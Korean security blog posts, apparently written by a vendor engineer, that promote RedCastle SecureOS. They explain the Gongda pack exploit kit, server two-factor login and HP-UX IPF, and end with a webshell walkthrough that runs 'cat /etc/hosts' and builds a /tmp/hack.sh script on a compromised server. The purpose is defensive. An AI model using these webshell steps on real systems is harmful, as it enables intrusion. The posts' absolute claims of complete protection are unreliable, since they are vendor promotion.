해커들이 해킹을 통해 침투하고자 하는 컴퓨터는 딱~ 두종류로 요약된다. 개인의 비밀스런 정보가 저장되어 있는 Windows 운영체제가 설치된 개인용 컴퓨터와 기업의 기밀정보(고객 개인정보 포함)가 저장되어 있는 서버다. 이 두 컴퓨터에 침입하기 위한 공격 기법은 이루 셀 수 없을 정도로 다양하다. 


그중에서 최근 해커들에게 각광받고 있는 공격기법이 바로 웹서버 해킹을 통해 웹페이지의 소스를 변조하여 공다팩(Gongda pack)이라 불리는 익스플로잇 공격도구를 개인용 컴퓨터에 감염시키는 해킹기법 이다.


공다팩이 무엇인지 살펴보면...


"Dadong" 이라는 독특한 스크립트 난독화된 익스플로잇 툴킷으로서 Windows 컴퓨터에 감염되어 Microsoft의 Windows, Office 등 제품의 취약점과 Acrobat, Flash 등 서드파티 애플리케이션의 취약점을 공격하거나 외부에서 공격도구를 다운로드하여 감염된 컴퓨터를 파괴하거나 해커가 제어할 수 있도록 하는 공격용 자바(Java)스크립트" 라고 정의할 수 있다. 


공다팩을 디코딩하여 Java Script를 확인해보면 "gongda"라는 이름의 변수를 많이 사용하기 때문에 Gongda pack 이라는 이름으로 불리는데 사용자 컴퓨터의 브라우저가 IE 인지 아닌지를 체크하며 버전에 따라 모바일 브라우저인지 PC용 브라우저인지까지 체크하여 세밀한 공격을 수행하기도 한다.


이 포스트에서는 공다팩이 웹 브라우저에서 어떻게 동작하는지는 설명하지 않는다. 이 포스트에서는 웹서버가 공다팩을 유포하도록 해킹이 되는 것을 막기 위한 방안을 제시하는 것이 목적이기 때문이다.


일부 웹방화벽이나 IPS 혹은 백신에서 현재까지 알려진 공다팩이 다운로드 되는 것을 차단해주기도 하지만 변형된 공다팩이 매우 다양하고 조금만 변형되어도 인지하지 못하는 경우가 많기 때문에 공다팩에 감염되는 개인용 컴퓨터가 있는 조직에서 근본적인 방어는 불가능하다. 

공다팩에 의한 피해를 줄이는 가장 좋은 대응책은 공다팩의 최대 유포 경로인 "웹서버"의 보안을 강화하는 것이다. 웹 서버를 운영하는 기업, 공공기관, 비영리단체 그리고 개인에게는 자신들의 서버가 해킹당해 악성코드를 유포하는 것을 예방해야할 책임이 있다. 그 책임을 기관이가 기업의 웹서버에 접속하는 개인에게 지우는 것은 너무도 무책임한 처사라 할 수 있다.


공다팩 스크립트의 구조와 동작방식 보러가기


● 공다팩(gongda pack) 유포의 가장 흔한 방법과 그 의미


공다팩은 대부분 해킹되어 변조된 웹서버에 의해 유포된다. 공다팩을 유포하는 웹서버의 해당 웹페이지에는 다음과 같이 dadong's 0.44 와 같은 난독화 도구를 통해 내용을 확인할 수 없도록 인코딩 되어 있다.



해커들은 위 화면과 같은 gongda pack을 웹페이지에 추가하기 위해 다양한 방법을 사용한다. 만약 당신의 웹서버의 특정 페이지의 소스에 gongda pack이 추가되어 있다면 해당 웹서버는 이미 사망선고를 받은 것과 같다. 외부의 해커가 웹서버의 소스파일을 마음대로 변조할 수 있다는 것은 이미 해커가 해당 웹서버를 완벽하게 점령한 것과 같기 때문이다.


해커들이 gongda pack을 웹서버를 통해 유포하고 있다면


  • 웹서버 자체의 취약점 공격을 통한 관리자 권한 탈취
  • Command Injection 취약성 공격을 통한 관리자 권한 탈취
  • SQL Injection 취약성 공격을 통한 관리자 권한 탈취
  • 업로드 취약성 공격을 통한 웹쉘 업로드를 통한 관리자 권한 탈취
  • 게시판 등의 XSS, CSRF 취약성 공격을 통한 소스코드 삽입 공격


등 이미 다양한 취약성을 이용한 공격에 성공한 상태라는 의미가 된다. 이는 해당 웹서버에게 사망선고를 내리기에 충분한 사유다.


● 공다팩(gongda pack) 유포지로의 악용을 막기 위한 방안


냉정하게 이야기하면 네트워크에 기반한 보안 솔루션을 통해서 공다팩 유포를 차단할 수는 없다. 네트워크 보안 솔루션들은 대부분(90% 이상) 패킷을 분해하여 시그니처를 탐지하는 기법을 사용하는 제품이 대부분이다. 때문에 현재까지 알려진 시그니처가 아닌 변형된 공다팩이라면 탐지하지 못할 가능성이 매우 높다. 일부 시그니처 탐지 기법이 아닌 다른 기법을 사용하는 제품들이 있긴하지만 안정성이나 탐지의 정확성 측면에서 신뢰할 만한 제품은 없는 것이 현실이다.


가장 확실한 보호대책은 RedCastle과 같은 SecureOS 솔루션을 통해 웹서버의 소스파일에 대한 접근통제 정책을 적용하는 것이다. 


일부 서버에 적용하는 웹쉘 차단 솔루션이나 소스 위변조 방지 솔루션들이 있지만 RedCastle SecureOS에 비해 적용방법이 매우 복잡하고(소스를 수정해야 하는) 지속적인 유지 관리가 어려운 문제점이 있다.


RedCastle의 파일에 대한 접근통제정책은 운영체제의 커널의 System Call 수준에서 동작하기 때문에 네트워크 취약성이나 운영체제의 명령어 혹은 웹서버 대몬의 취약성과 소스파일의 취약성에 의한 변조시도도 완벽하게 차단할 수 있는 장점이 있다.


아래 포스트에서 그 내용을 확인할 수 있다.


관련 포스트


1. IIS 웹서버 해킹을 통한 악성코드 삽입 공격 방어 사례(소스 위변조 공격)

2. 홈페이지 변조 차단의 근본적인 방안은 바로 시큐어오에스(SecureOS)다.

3. 웹쉘(webshell)의 위험성과 서버보안S/W(RedCastle SecureOS)를 이용한 차단 방법



  • 2014.07.14 09:29

    비밀댓글입니다

    • taeho Tae-Ho 2014.07.14 16:21 신고

      아..이런 경사가.... ^^;;
      뜻밖이네요~~ ^^


지난 6월 하순 발생한 대규모 공공기관의 홈페이지 변조 사건(2013년 6월)관련 정보에 대해 구글링하던 중 몇몇 홈페이지 변조 방지 솔루션의 소개페이지들을 보게 되었다. 하지만 자사의 솔루션이 "최고"라는 자부심을 갖는 것은 좋지만 서버운영체제와 웹서버 그리고 HTTP 프로토콜에 대해 전문 지식이 없는 고객에게 응용프로그램 수준에서의 홈페이지 보안만이 홈페이지 위변조를 방어할 수 있다는 잘못된 정보를 제공하는 경우를 많이 볼 수 있었다. 그저 안타까울 뿐이다.


네트워크 보안 솔루션과 응용프로그램수준의 웹보안이 필요 없다는 것은 아니다. 추운 겨울 옷을 입을 때도 얇은 옷을 여러겹 끼워 입는 것이 보온효과가 더 크다는 상식처럼 보안 시스템도 다계층 보안 시스템을 구축해야 효과가 크다. 


DDOS, DOS, 포트스캔, TCP/IP 취약성 공격 등 네트워크 기반 공격은 네트워크 보안솔루션이 방어하는 것이 맞다. 그리고 XSS와 같은 소스파일이 직접적인 위변조가 없는 공격은 RedCastle과 같은 SecureOS가 방어할 수 없다. 또한 SecureOS도 자체 방화벽 기능을 제공하지만 어디까지나 운영체제의 네트워크 커널 기반에서 동작하기 때문에 네트워크 방화벽 처럼 IP 레이어의 플래그에 따른 다양한 통제 기능을 제공하지는 않는다. 그저 내부네트워크를 통해 침투하거나 접근하는 행위에 대해서 통제하기에 적합한 수준의 방화벽 기능을 제공하기 때문이다.


하지만 웹서비스를 위해 서버에 저장되어 있는 소스파일이나 바이너리의 변조, 웹쉘의 실행을 차단하는 데는 SecureOS 만큼의 효과를 내는 것은 네트워크 기반의 솔루션으로는 구현이 어렵다고 보는 것이 맞다.


그 이유는 바로 웹페이지의 호출과정을 정확하게 이해하면 알 수 있다.

위의 그림에서 처럼 사용자 PC의 브라우저에서 호출되는 웹페이지 소스는 운영체제의 커널을 통해 읽혀지게 된다. 하지만 웹페이지 소스는 웹서버만 읽고 수정할 수 있는 것이 아니다. 서버에 다른 방법으로 접속한 사용자도 웹서버를 거치지 않고 접근하여 수정(변조)할 수 있고 웹서버의 취약점을 뚫고 침투한 해커도 2중, 3중의 우회방법을 통해 웹페이지의 소스를 변조할 수 있다.


하지만 아무리 2중, 3중의 우회경로를 통해 웹페이지 소스를 수정하더라도 최종적으로는 운영체제의 커널을 거치게 된다. 웹서버가 운영되는 서버에서 운영체제의 커널을 거치지 않고 파일을 수정할 수 있는 경우는 없다. 운영체제의 커널을 거치지 않고 파일 입출력을 하는 경우가 있기는 하나 특별한 파일시스템 구조로 파일시스템이 구성되어 있어야 하며 웹서버 용도의 서버에서는 특별한 파일시스템을 구성하는 경우가 없다.


RedCastle SecureOS를 서버에 설치하게 되면 웹페이지 소스에 접근하는 모든 접근을 커널 수준에서 모니터링하고 통제하기 때문에 정해진 소스파일 업데이트 작업만 허용하고 나머지 접근은 모두 차단할 수 있다.


예를 들면 "192.168.100.10 번 IP에서 FTP로 webadmin 계정으로 접속했을 때만 생성/수정/삭제가 가능하고 이외의 모든 생성/수정/삭제는 차단한다" 와 같은 정책에 의해 통제를 할 수 있게 된다. (다만 소스가 있는 경로는 모두 파악하여 리스트업 해야한다.)


이러한 정책을 적용하면 웹의 어떤 취약성을 뚫고 침입하여 소스파일을 변조시도하더라도 모두 차단이 되는 것이다. 소스의 변조를 막기 위해 별도의 라이브러리를 설치하고 소스를 일일히 수정하거나 새로운 취약성이 발견되어 보안 솔루션의 패턴을 업데이트해야하는 수고를 하지 않아도 되는 것이다. 또한 관리자가 Telnet 접속하거나 터미널 서비스로 접근하여 VI 명령어나 Notepad 명령어로 수정하는 행위도 차단이 된다.


DDOS 공격에 의한 서버 다운과 홈페이지 변조 중 어느 사고가 더 심각한 사고인가?


청와대 홈페이지가 공격을 당한 이후 뉴스기사가 떴다.



음...아주 완벽하게 홈페이지를 변조했다. (대단한 넘들.... -.-) 그런데 뉴스에서 참 희한한 기사를 읽을 수 있었다. 이런 기사가 바로 여론을 호도하는 좋은(?) 사례다. 어떻게 서버 다운이 없었다는 것을 더 "안전"한 것 처럼 이야기 할 수 있는지 이해가 안된다. 77대란 때 어느 국회의원의 "인터넷에 접속하는 모든 PC에 백신설치를 의무화하자"는 발언이 생각난다.


사실 서버에 저장된 파일이 외부의 공격에 의해 변조되었다는 것은 매우 심각한 상황이다. 만약 외부의 공격에 의해 파일이 변조되었다면 해당 서버는 운영체제부터 새로 설치하는 것이 바람직하다. 왜냐하면 파일의 수정이 이루어졌다는 것은 서버의 디스크 어디에 어떤 공격도구가 생성되어 숨겨져 있을지 모르는 상황과 같기 때문이다. 


하지만 DDOS 공격은 서버 내에 해커가 침투한 상황은 아니다. 단지 서비스를 하지 못하도록 외부에서 네트워크를 차단하는 형태의 공격이다. 홈페이지 파일의 변조는 "강도가 집 내부에 침입하여 물건을 훔쳐간 것"과 같고 DDOS 공격은 "집 밖에서 누가 돌멩이를 집으로 던져 유리창이 깨진 것" 에 비유할 수 있다. 과연 두 가지 해킹 중 어떤것이 더 심각한 문제일까? 당연히 홈페이지 변조가 더 치명적인 보안사고다. 하지만 공무원은 변조 보다는 장애가 더 큰 문제인 것처럼 이야기하고 있다. 매우 심각한 보안 인식의 문제가 드러난 발언이다. 


홈페이지 위변조 공격은 지금도 어디에선가 계속 시도되고 있고 발생하고 있다. 다만 쉬쉬하며 감추기 때문에 알려지지 않을 뿐....



2011년에 발생한 굵직 굵직한 보안사고를 자세히 살펴보면 두가지 형태의 보안사고로 나뉘는 것을 알 수 있다.

첫째는 개인정보를 획득하기 위해 인터넷에 공개된 웹서버를 공격하여 서버에 침투한 뒤 개인정보를 탈취하는 형태의 전통적인 해킹이고....
 
둘째는 다양한 기법을 이용하여 내부의 PC를 거점으로 확보하고 그 PC를 이용하여 내부의 서버에 침투하는 해킹을 수행하는 APT 공격이다.

그 중에서도 두번째의 APT 공격은 사회공학적 기법의 해킹 기술부터 최신 해킹기술을 총 망라하여 지속적으로 해킹을 시도하는 무척이나 지능적인 공격기법이다. APT 공격의 특징은 직접 서버를 공격하지 않는데 있다. 외부에서 내부망에 존재하는 수많은 PC들 중 보안에 취약한 특정 PC를 해킹하고 해킹된 PC를 이용해 서버에 접근하는 것이다. 오랜시간 동안 점진적으로 서버의 주요 데이터에 접근하는 기법으로서 내부망에서 PC를 사용하는 개발자나 관리자 그리고 외부 상주인력 등의 PC가 1차 거점이 되는 형태다.

이러한 해킹의 경우 웬만한 보안 솔루션으로는 서버로의 접근(로그인)을 차단하는 것이 쉽지 않다. 이중..삼중 보안 대책을 강구하는 것이 그나마 통제할 수 있는 방법이다.

그 방법의 일환으로 공인인증서를 이용한 서버 접근제어 기법에 대해 설명하고자 한다. (OTP/ARS도 가능함)

서버의 계정과 자연인의 Mapping

서버에 telnet, ftp, ssh 접속 시 공용 계정을 직접 이용하는 것이 일반적이다. 최근에는 모든 개발자와 관리자, 엔지니어가 개인 계정을 생성하고 그 개인계정을 통해 접속하도록 통제하는 경우도 있지만 사실 모든 시스템에 적용되어 있지는 않고 서버에 많은 계정을 만드는 것은 보안에 취약하다는 선입견으로 인해 공용 계정으로 많은 사람들이 접속하는 경우가 대부분이다.

하지만 이러한 경우 개발자나 관리자, 엔지니어의 보안적 관점에서의 마인드는  빵점~이 될 수 밖에 없다. 사고를 쳐도.. 누가 사고를 쳤는지 패스워드 유출 등의 사고가 발생할 수 있는 취약점을 만들었는지를 확인하지 못하기 때문이다.

이럴 때 다음과 같이 자연인 기반의 계정(서버에 존재하지 않고 인증서버에만 존재하는 계정)과 서버의 계정을 연결시켜주어 실제 로그인 시 누가 로그인했는지 식별할 수 있도록 해준다.

인증서버에서 보안관리자가 자연인과 서버의 계정을 매핑시켜주는 것은 해당 자연인이 서버에 공인인증서를 이용하여 인증을 받고 telnet, ftp, ssh 로그인을 할 수 있다는 것을 의미한다. 즉.. 맵핑되지 않은 계정이나 서버에는 패스워드를 알고 있더라도 로그인이 불가함을 의미한다. 이것 만으로도 보안성이 크게 강화된다.
 
자신이 사용할 공인인증서 등록

인증서버에 계정이 생성되고 서버의 실 계정과 맵핑이 되면 서버에 로그인할 때 사용할 공인인증서를 등록하여야 한다. 다른 인증서는 사용할 수 없으며 자신이 등록한 공인 인증서만 사용할 수 있다.

인증서 등록 시 주민번호 확인

인증서 등록 시 비밀번호 확인

사용할 인증서 등록이 완료되면 이제부터 서버에 공인인증을 통해 로그온 할 수 있다.


서버 로그온

서버에 telnet, ftp, ssh 접속 시 ID와 패스워드를 입력하고 난 뒤 공인인증서를 요구하는 창이 실행된다. 이 창은 BCQRE의  Trust Web으로 구현되어 있으며 인증서 창을 띄워주는 Cert Daemon을 PC에 설치하여야 하며 이 Cert Daemon은 항상 Window Tray에서 실행되어 있어야 한다.

2 factor 인증

이 때 사용되는 Telnet, FTP, SSH 클라이언트 프로그램은 어떠한 것을 사용해도 관계 없다. 개발자, 관리자의 손에 익고 편리한 툴을 그대로 사용하면 되기 때문에 업무 수행에 지장을 주거나 하지는 않는다.

이 공인인증 방식의 보안 효과는 탁월하다.

자연인을 공인인증서에 의존하여 식별하기 때문에 root 계정으로 로그인하여도 실제 로그인한 자연인이 누구인지를 해당 텔넷 세션이 종료될 때까지 추적하며 보안 정책 위반 시 실제 위반한 사람이 누구인지를 정확하게 추적할 수 있으며... 자연인 기반의 파일 접근통제도 가능하다.

게다가 주요 명령어 실행 시 한번 더 공인인증서 인증을 받아야만 실행할 수 있도록 파일 접근 통제도 강화할 수 있다.

공인인증서 이외의 인증수단은 무엇이 있는가?

최근 공인인증서에 대한 취약성이 이슈가 되고 있다. 사용자PC의 하드디스크에 공인인증서를 저장하게 될 경우 인증서 비밀번호만 탈취하면 공인인증서 인증을 무력화 할 수 있는 취약성이 존재하기 때문이다. USB에 저장하여도 APT 공격에 의해 PC가 해커에게 장악될 경우 USB가 꼽혀있는 시간 동안 인증서를 복사하여 하드디스크로 옮길 수 있다.

그렇기 때문에 최근에는 공인인증서 뿐만 아니라 OTP(One Time Password)와 ARS(전화) 인증 중에서 선택하여 2차 인증 수단으로 사용할 수 있다.

OTP의 경우 하드웨어 토큰방식과 스마트폰의 앱 방식을 모두 사용할 수 있고 ARS의 경우에는 사용자의 스마트폰이나 관리자에게 전화를 걸어 인증코드를 입력하여야 접속이 가능하도록 구현이 가능하다.

이렇게 다양한 2차 인증 수단을 제공하는 보안 솔루션이 바로 RedCastle과 AuthCastle이다.


관련 포스트 보기 : APT 방어 시스템 구축 방안과 네트워크 기반 APT 방어 솔루션에 대한 오해



1990년대 들어서면서 집집마다 퍼스널컴퓨터(PC)가 보급되고 서로 연결되는 모뎀(Modem)이 보급되면서 네트워크는 활성화 되기 시작했다. 하이텔...천리안...나우누리 등 빨라야 56Kbps Modem으로 연결되었던 답답하고 느려터진 그 네트워크는 1990년대 후반 하나로 통신의 ADSL이 아파트마다 보급되기 시작하면서 인터넷이라는 범 세계적인 거대한 네트워크 인프라에 연결되면서 사람들의 생활에 일대 변혁을 불러 일으키기 시작했다.

손으로 써서 보내던 편지는 이메일에게 자리를 빼앗겼고 TV와 신문이라는 거대 기업에 의해 가공되고 왜곡되어 전달되던 뉴스는 인터넷 1인 미디어인 블로그와 작은 중소 인터넷 언론매체에게 위협받는 혁명적인 사건이 일어났다.

하지만 밝은 곳이 있으면 어두운 곳도 있게 마련이듯 수많은 PC와 서버들이 서로 연결이 가능한 거대한 네트워크(인터넷)로 연결되면서 서버해킹, PC 해킹, 개인정보 유출, 기업의 다양한 기밀자료의 유출 등 수많은 다양한 형태의 해킹 사고가 발생하고 있다.  이러한 보안사고(해킹 및 정보 유출)는 지금도 어디에선가 해커에 의해 자행되고 있고 또한 그 해킹을 막기 위해 많은 전산인들이 분주하게 움직이고 있다.

그렇다면 과연 해킹을 막기 위해 투자되는 엄청난 비용과 인력은 효율적으로 이용되고 있는지를 한번 살펴봐야할 필요가 있다.

네트워크 보안의 함정에 빠지다.

많은 보안 전문가들은 네트워크 보안의 중요성을 강조하고 해킹의 방어는 네트워크에 흘러다니는 패킷(인터넷 통신의 데이터 전송 단위)을 분해하고 그 안의 내용을 검사하거나 암호화 하는 것이 최선인 것 처럼 이야기 한다. 물론 틀린 이야기는 아니다. 맞는 말이다. 하지만 거기에는 많은 사람들이 또한 알고 있지만 이야기하지 못하는 함정이 있다.

기업에서 관리하는 대부분의 데이터 유출 보안 사고는 네트워크에 흘러다니는 데이터를 가로채는 방식의 공격으로 일어나지 않는 다는 것이다. 이미 많은 부분 통신 데이터의 암호화가 이루어지거나 외부로부터 접근이 어렵도록 네트워크의 분리 등 네트워크 관점에서의 보안은 상당부분 이루어져 있고 방법론 또한 다양하게 준비되어 있어 보안 인프라에 투자할 자금만 있다면 얼마든지 네트워크의 보안을 강화할 수 있다.

그렇다면 최근 발생하는 수많은 해킹과 그로 인한 중요 데이터의 유출은 어떻게 발생하고 또 해킹을 방어하기 위한 보안의 주요 대상은 무엇이 되어야 하는가?

그것은 바로 서버다. 인터넷과 기업에는 수 많은 서버들이 있다. 네트워크는 이 서버들끼리...혹은 서버와 PC를 연결해주는 통로에 불과하다.그리고 이미 그 통로에는 해커의 침입을 막기 위해 방화벽, IPS, PKI, NAC 등 다양한 함정과 방어막을 설치해 놓았다. 하지만 그럼에도 불구하고 해킹 및 보안사고는 끊임없이 발생한다. 그 이유는 바로 네트워크 기반의 보안 솔루션으로 막을 수 없는 위협과 취약성이 너무도 많기 때문이다. 최근 발생한 GS칼텍스 개인정보 DB 유출사고, 신세계의 개인정보 유출, 옥션의 해킹사고 등은 그 대표적인 사례이다.

이제 보안의 대상은 중요 데이터가 저장되어 있는 서버 그 자체로 이동되어야 한다. 제 아무리 서버의 앞에 패킷을 분해하고 검사하는 종류의 솔루션을 설치해도 그것을 우회하거나 내부 네트워크에서 접근해오는 해킹 시도를 차단하는 것은 불가능하고 지속적으로 발견되는 네트워크 서비스 서버의 취약성에 대한 차단은 네트워크 기반의 보안 솔루션으로는 통제가 불가능하다.

많은 보안컨설팅 전문가들과 보안 전문가들은 어렴풋이나마 이러한 사실을 알고 있지만 서버 운영체제와 서버 내의 복잡 다양한 애플리케이션에 대한 지식 부족과 경험 부족 그리고 서버보안 강화에 대한 방법론의 부재와 솔루션에 대한 지식 부족 등 여러 이유로 인해 적절하게 대응하고 있지 못한 것이 현실이다.

서버를 건드리지 않고도 가능한 네트워크 보안에 너무도 치중한 나머지 정작 중요한 서버 자체의 보안에 너무도 무관심한 것이 현실이다.

서버보안 강화 방법론

용어는 참 거창하다. 똑똑하신 양반들께서 잘 쓰는 용어... 방법론... 영어로는 methodology... 하지만 방법론이라는 이 단어에 집착한 나머지 시작조차도 하지 못하는 경우가 많다. 서버보안이라고 하면 대부분 서버 운영체제의 설정을 검사하고 파일의 퍼미션을 체크하여 이렇게~저렇게~ 수정하라고 권고하는 수준을 생각한다. 유명 보안컨설팅 업체에 큰돈을 주고 보안 컨설팅을 받아도 서버의 보안 점검과 조치는 그 수준에 그치는 경우가 태반이다.

서버 운영체제와 시스템소프트웨어 그리고 애플리케이션과 데이터파일에 대한 보안을 강화하기 위해 아직까지 정립된 방법론은 없다. (사실....본적이 없다.)
10여년 가까운 보안OS의 기술지원과 프로젝트를 수행한 본인도 뚜렷한 방법론을 지금까지는 정립하지 못했다. 그도 그럴것이 보안OS의 안정성과 정책수립을 위한 기능이 어느정도 안정적인 궤도에 오른것이 몇년되지 않았다. 때문에 설치 및 운영 중 발생하는 장애에 대처하기에도 벅찼던 것이 현실이다.

하지만 그 와중에도 서버 내의 보안을 강화하기 위한 접근제어 정책 및 서버보안정책 수립을 위한 나름대로의 절차와 기준 그리고 노우하우는 갖고 있다. 그중에서 가장 힘들고 어려운 부분은 바로 서버보안에 대한 고객의 이해와 참여를 유도하는 것이다.

적게는 서너대, 많게는 수백대의 서버를 운영하는 고객사에서 각 서버별로 최적화된 보안정책을 수립하는 것은 현실적으로 불가능하다. 때로는 강력한 정책을 요구하기도 하고 때로는 수십, 수백대에 공통으로 적용할 수 있는 표준 정책을 요구하기도 한다. 그때마다 적절한 수준의 보안정책을 수립하고 적용하는 것은 IT경력 10년이 넘는 본인에게도 신경쓰이는 일이다.

서버의 보안정책 수립에서 가장 중요한 것이 고객의 이해와 참여라고 했다. 

최근 100여대의 서버에 보안정책을 수립하는 프로젝트를 진행한 적이 있다. 우리팀의 엔지니어 혼자 진행하던 중 도움이 필요한 상황이 발생하여 정책 수립과정을 지원했는데 참으로 난감한 것이 고객의 보안담당자와 그팀의 팀장님은 그 업무를 무척이나 간단하게 생각하고 있었다. 결국 한참의 난상토론과 업무협의 끝에 프로젝트 비용의 결제를 늦게 해주어도 좋으니 시간을 충분하게 갖고 진행하자는 쪽으로 유도했다.

그리고 20여명의 시스템관리자와 개발자 대표들이 모두 참여하는 관련 업무협의를 진행하여 이해와 참여를 요청하였고 보안정책 수립과정에 참여하여 보안을 위해 개발자와 시스템관리자가 양보해야할 부분은 양보하고 편의상 허용해야할 것은 철저하게 감사로그를 기록하여 사후 분석이 가능하도록 유도하였다.

이러한 과정에서 개발자와 시스템관리자의 잘못된 업무관행을 찾아내고 가능하다면 올바른 시스템 운영절차와 규칙을 수립하여 권고하는 것도 서버보안엔지니어와 컨설턴트의 임무라고 할 수 있을 것이다.

애플리케이션 보안정책의 수립

수립된 표준 보안정책은 전 서버에 일괄적으로 적용되고 서버별로 추가적인 보안정책은 해당 서버의 시스템관리자와 개발자와의 심층적인 분석과 협의를 통해 적용한다.

현재까지는 대부분 인터넷에 공개되어 있는 서버의 해킹차단을 위해 웹 애플리케이션에 대한 보안을 강화하기 위해 적용되는 경우가 많다. 예를 들면 웹소스의 위변조 차단과 웹쉘의 차단이 대표적인 경우다.
웹서버를 예로 들었지만 서버마다 실행되는 애플리케이션은 다른경우가 대부분이기 때문에 애플리케이션에 대한 보안강화는 서버 개별적으로 진행되어야 한다. 이 과정에서도 시스템관리자와 개발자의 이해와 참여는 필수적이다.

- 웹서버의 통제를 위해 적용된 응용프로그램 관련 접근통제 정책의 예 -

서버보안S/W(보안OS)의 활용도

많은공공기관과 금융기관에 서버보안S/W가 도입되어 있다. 하지만 그 활용도는 미미한 경우가 많다. 그 이유는 무엇일까? 많은 전문가들이 동의하듯 아직도 우리나라는 보안에 대한 인식이 부족하다. 사실 IT보안이 물리적보안 보다 더 중요함에도 불구하고 현실은 그 반대다. 건물경비와 출입통제 장치등에는 많은 비용을 지출하는 것을 아끼지 않지만 IT보안에 비용을 지출하는 것에는 무척이나 인색하다. 또한 인력의 투입도 부족하다. 시스템관리자와 개발자가 IT보안업무를 병행하면 되지 않느냐는 인식을 갖고 있다.
때문에 많은 IT보안솔루션을 도입해 놓고도 제대로 활용하지 못한다. 

특히 서버보안S/W의 경우에는 운영체제, 시스템소프트웨어, 응용프로그램에 대한 깊이 있는 이해가 필요한 경우가 많다. (대신 그 보안 효과는 탁월하다.) 제대로만 활용한다면 그 어떤 보안솔루션 보다 해킹차단에 효과적이다.



최신 Unix 운영체제들은 서버의 보안을 강화하기 위해 내부적으로 Firewall Module을 기본적으로 탑재하고 있다. Solaris, HP-UX와 같은 상용 Unix의 경우 오픈소스인 IP Filter를 자신들의 운영체제에 최적화하여 기본 운영체제 패키지 안에 포함시켜 설치되도록 하고 있다.

HP-UX에도 기본적으로 탑재되어 있는 IPF는 무척 강력한 패킷필터링 기능을 갖고 있으며 다양한 옵션에 의해 상용 네트워크 방화벽 못지않은 성능을 발휘한다.

IPF를 사용하기 위해서는 다음 두 개의 서비스모듈이 커널에 로드되어야 한다.

- ipf
- pfil

이 두개의 커널모듈이 커널에 적재(load)되어 있는지 여부는 kcmodule 명령으로 확인할 수 있다. (HPUX 11.23 이상)


이 두개의 커널모듈은 서버의 리부팅 없이 동적으로 커널에 적재(Load)되고 삭제(Unload)될 수 있는 DLKM (Dynamic Loadable Kernel Module) 형태로 만들어져 있으며 kcmodule 명령 혹은 sam 유틸리티에 의해 상태의 확인 및 부팅 시 자동로드 여부를 설정할 수 있다.


만약 앞의 kcmodule | grep -i pf 명령에 의해 두개의 모듈 즉 ipf와 pfil이 모두 "Loaded" 상태임에도 ipf의 패킷필터링 정책이 적용되지 않아 차단해야하는 포트에 원격에서 접속이 이루어진다면 ipf 모듈 두개가 커널에 로드되어 있지만 "패킷 필터링"을 수행하지 않고 패킷을 그냥 흘려보내고(bypass) 있는 것이다. 즉 차단 정책이 적용되어 있어도 차단하지 않는 것이다.

이런 현상, 즉 ipf가 구동중이지만 정책이 적용되지 않는 현상을 확인하기 위해서는 ipfstat 명령을 실행시켜봐서 패킷을 감지하고 있는지 보거나 ipfilter -q 명령을 통해 enable 여부를 확인하여야 한다.

- ipfstat 명령 수행결과 -

- ipfilter -q 명령 수행결과 -

만약 위의 두 명령수행 결과 패킷필터링을 수행하지 않고 있다면 다음의 명령을 통해서 Enable 시켜주면 된다.


이때 주의할 점은 네트워크 설정에 오류가 있을 경우 서버의 네트워크가 다운될 수 있다는 것과 패킷필터링을 수행하기 위해 이더넷을 플럼빙할 때 새로운 세션의 연결이 잠시 차단되고 기존의 세션도 잠시 멈출 수 있다는 것이다.

패킷필터링을 중지할 때는 옵션만 바꾸어 주면 된다. 옵션은 -d 다.!!

SecureOS인 RedCastle은 이 IPF의 활용도를 극대화할 수 있도록 해준다. RedCastle에서는 GUI에서 IPF 정책을 관리(적용/수정/삭제)할 수 있도록 해주고 IPF 로그도 GUI에서 모니터링하고 검색, 조회할 수 있는 기능을 제공한다.






관련 포스트 : 웹서버 소스파일 위변조 차단을 위한 SecureOS 적용

웹쉘(web-shell)은 서버를 해킹하는 가장 훌륭한 도구 중에 하나다. 웹서버에 웹쉘을 업로드 하고 웹브라우저를 통해 웹쉘을 호출할 수 있다면 해커는 그 서버를 마음대로 조종할 수 있는 권한을 90%쯤 갖게 된다고 볼 수 있다.

많은 서버관리자와 보안관리자들이 웹쉘이 업로드된 서버를 발견하게 된다면... 눈 앞이 캄캄해질 것이다. 웹쉘이 발견되었는데도 눈앞이 캄캄해지지 않는 관리자라면 둘중하나다. 확실한 웹쉘 실행 차단 대책이 이미 적용되어 있는 훌륭한 관리자이거나 웹쉘이 뭔지도 모르는 초보 관리자 둘 중 하나다. 둘다 아니라면..?? 거기까진 말하고 싶지 않다.

먼저 웹쉘의 동작 과정을 시연 화면을 통해 살펴본다.

이 화면은 웹서버에 업로드된 "초 간단" 웹쉘이다. PHP로 작성된 10줄 남짓의 이 웹쉘은 비록 화면은 인터넷에 떠도는 많은 웹쉘에 비해 단순하지만 그 어떤 IPS나 웹 방화벽에 적발되지 않고 실행가능한 "강력한" 웹쉘일 것이다.


웹쉘이 하는 일은 아주 간단하다. 위의 화면과 같이 입력창을 통해 명령어를 입력받아 웹서버를 통해 실행하고 그 결과의 출력화면을 브라우저에 표시해주는 것이다.

웹쉘이 실행할 수 있는 것은 무척 많다. 그래서 웹쉘이 실행할 수 없는 것을 이야기하는 것이 더 빠를 것이다. 웹쉘이 실행하지 못하는 것은 "웹서버가 실행중인 계정이 실행 권한을 갖고 있지 않은 실행파일 및 스크립트"이다. 그 이외에는 모두 실행이 가능하다.

위의 화면에서와 같이 "cat /etc/hosts" 명령을 입력하고 실행하면 다음과 같이 그 결과가 브라우저에 표시된다.


웹쉘은 단순히 명령어 만을 실행하고 그 결과를 보여주는 것만 가능할까?

아니다. 웹쉘의 활용은 거의 무궁무진하다. telnet으로 서버에 들어간 것과 같이 스크립트를 만들고 실행시키는 것도 가능하다. 다만 웹서버가 구동중인 계정의 권한만을 갖기 때문에 파일을 만들고 실행하기 위해서는 웹서버가 실행중인 계정이 쓰기,실행(w,x)을 갖고 있는 디렉토리를 찾아야 한다. 

하지만 해커들이 누군가? 아무도 알려주지 않아도 해커들은 /tmp와 /var/tmp가 trwxrwxrwx 퍼미션으로 되어 있다는 것을 알고 있다.

다음과 같이 /tmp 디렉토리에 hack.sh 스크립트를 만든다. 첫번째 줄이다.


 다음은 두번째 줄이다.


두줄이 들어간 hack.sh 스크립트의 내용을 확인해보자.


ps와 netstat 두줄이 들어간 hack.sh 스크립트가 생성되어 있다. 서버의 umask 설정에 따라 실행퍼미션이 없을 수 있는데 chmod +x 명령으로 실행퍼미션을 부여해주면 된다. 보안 때문에 반드시 설정해야한다는 umask 설정이 무용지물이 되는 이유다.

